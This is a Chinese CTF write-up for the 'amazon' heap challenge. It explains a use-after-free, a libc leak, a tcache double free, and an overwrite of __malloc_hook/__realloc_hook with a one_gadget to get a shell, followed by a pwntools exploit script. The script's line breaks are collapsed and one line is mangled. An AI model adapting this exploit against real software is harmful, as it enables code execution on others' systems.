数字经济云安全共测大赛 amazon writeup

漏洞点:
数字经济云安全共测大赛 amazon writeup
文章图片

在进行free操作后没有把chunk指针置为0 所以存在UAF漏洞
思路:
泄露libc地址:
泄露libc地址比较简单,由于题目限定输入的size范围要小于0x100, 所以无法创建一个大小可以直接放入unsortedbin中的chunk, 可以先填满tchachebin, 然后在free一个chunk,这个chunk便会进入unosrtedbin
这是chunk的fd变指向了libc地址,调用show函数时会把这个libc地址作为name输出来
【数字经济云安全共测大赛 amazon writeup】tchachebin attack:
由于tchachebin是单链表形式,所以可以进行double free来构造一个循环链表,再对控制链表的第一个chunk的fd指针便可以达成覆盖malloc_hook 的目的
但是由于程序在创建chunk的时候会在我们输入的size上再加上40,并且输入的数据是从chunk+32开始输入的,所以前32个字节我们无法通过正常手段控制
解决办法:
1.创建9个大小为0x80 - 40 的chunk, 假设编号为0-8
2.创建3个大小为0x40 - 40 的chunk,假设编号为9-11
3.将chunk0-chunk8全部free掉,那么这样会填满tchachebin,chunk7和chunk8会在unsortedbin中合并,此时合并后chunk 的大小为0x120
4.再创建一个大小为0xe8 的chunk,会重用上面合并的chunk, 设置好数据修改chunk8的size为0x130
5.之后先后free掉chunk9, chunk10, chunk9
那么在tchachebin中的情况就是
chunk9 --> chunk10 --> chunk9 --> …
6.再malloc(0x40 - 40)
tchachebin:
chunk10 --> chunk9 --> …
之前修改了chunk8的size ,再次分配时可以造成溢出从而控制chunk8 的fd指针
创建chunk的时输入size为0x100, 程序会调用malloc(0x100 + 40) , 会重用chunk8, 再布置好数据即可控制chunk9 的fd
指针
当我做到这的时候确认把malloc_hook 覆盖为one_gadget时 兴冲冲的去跑脚本,结果one_gadget 都试了一遍,全部出现错误,然后一个一个调试去看看约束条件满不满足,结果发现都不满足,不知道怎么办这题我就放着了…
昨天看到利用realloc调整栈环境 从而让one_gadget 变得有效才知道自己知道得太少了
数字经济云安全共测大赛 amazon writeup
文章图片

数字经济云安全共测大赛 amazon writeup
文章图片

realloc函数会进行push和pop操作,通过跳到realloc+x 可以造成push 和 pop操作得次数不相等,从而为one_gadget调整栈环境, 调整范围得字节为48 或72字节
realloc函数在执行时会检查realloc_hook , 若不为零则跳转至realloc_hoook 中的地址,由于realloc_hook 与malloc_hook 是相邻的,所以可以通过覆盖malloc_hook 为realloc+x, 再将realloc_hook 覆盖为one_gadget ,从而getshell
知道利用realloc函数调整栈环境后便一个一个试,在跳到realloc+8 处终于getshell了!!
有关知识链接:
堆的六种利用手法
EXP:

from pwn import * import structcontext(arch='amd64', os='linux', log_level='debug')debug = 0 d = 0if debug == 0: p = process("./amazon") if d == 0: gdb.attach(proc.pidof(p)[0]) else: p = remote("121.41.38.38", 9999)def buy(size, content): p.sendlineafter("Your choice: ", "1") p.sendlineafter("What item do you want to buy: ", "1") p.sendlineafter("How many: ", "1")p.sendlineafter("How long is your note: ", str(size)) p.sendlineafter("Content: ", content)def checkout(index): p.sendlineafter("Your choice: ", "3")p.sendlineafter("Which item are you going to pay for: ", str(index))def show(): p.sendlineafter("Your choice: ", "2")for i in range(6):#(1-6)-1 buy(0x100 - 40, "hahahah")buy(0x100 - 40, "libc:")#7-1buy(0x100 - 40, "hahahahah")#8-1buy(0x30 - 40, "1111111111")#9-1for i in range(7): checkout(i)checkout(7)show()#raw_input()p.recvuntil("libc:\n") p.recvuntil("Name: ") libc_addr = p.recvline()[:6] print "libc_addr->" + libc_addrlibc_addr += '\x00\x00' libc_addr = struct.unpack("" + hex(libc_addr)libc_base = libc_addr - 0x3EBCA0elf = ELF("./amazon") libc = ELF("amazon_libc-2.27.so")got_printf = elf.symbols['printf'] one_gadget = libc_base + 0x10a38c #4f2c5 4f322 10a38c print "one_gadget->" + hex(one_gadget)malloc_hook = libc_base + libc.symbols['__malloc_hook'] print "malloc_hook->__" + hex(malloc_hook)realloc = libc_base + libc.symbols['__libc_realloc'] print "realloc->__" + hex(realloc)for i in range(7):#(10-16) - 1 buy(0x100 - 40, "hehehe")buy(0x100 - 40, "heheh")#17-1#raw_input()for i in range(9):#(18-26)-1 buy(0x80 - 40, "1111111")## 25-1 26-1buy(0x40 - 40, "1111111") #27 - 1buy(0x40 - 40, "2222222")#28 - 1buy(0x40 - 40, "3333333")#29 - 1for i in range(9): checkout(17+i)payload = 'a'*8*13 + p64(0x130) buy(0xe8, payload)checkout(26)checkout(27)checkout(26)checkout(25)#raw_input() buy(0x40 - 40, 'a')payload = 'b'*8*13 + p64(0x41) + p64(malloc_hook - 40) buy(0x100, payload) #raw_input()buy(0x40 - 40, 'c')buy(0x40 - 40, 'd')#raw_input() payload = p64(one_gadget) + p64(realloc + 8) buy(0x40 - 40, payload)#raw_input() p.sendlineafter("Your choice: ", str(1))p.sendlineafter("What item do you want to buy: ", str(1))p.sendlineafter("How many: ", str(1))p.sendlineafter("How long is your note: ", str(1))p.interactive()

结果:
数字经济云安全共测大赛 amazon writeup
文章图片

    推荐阅读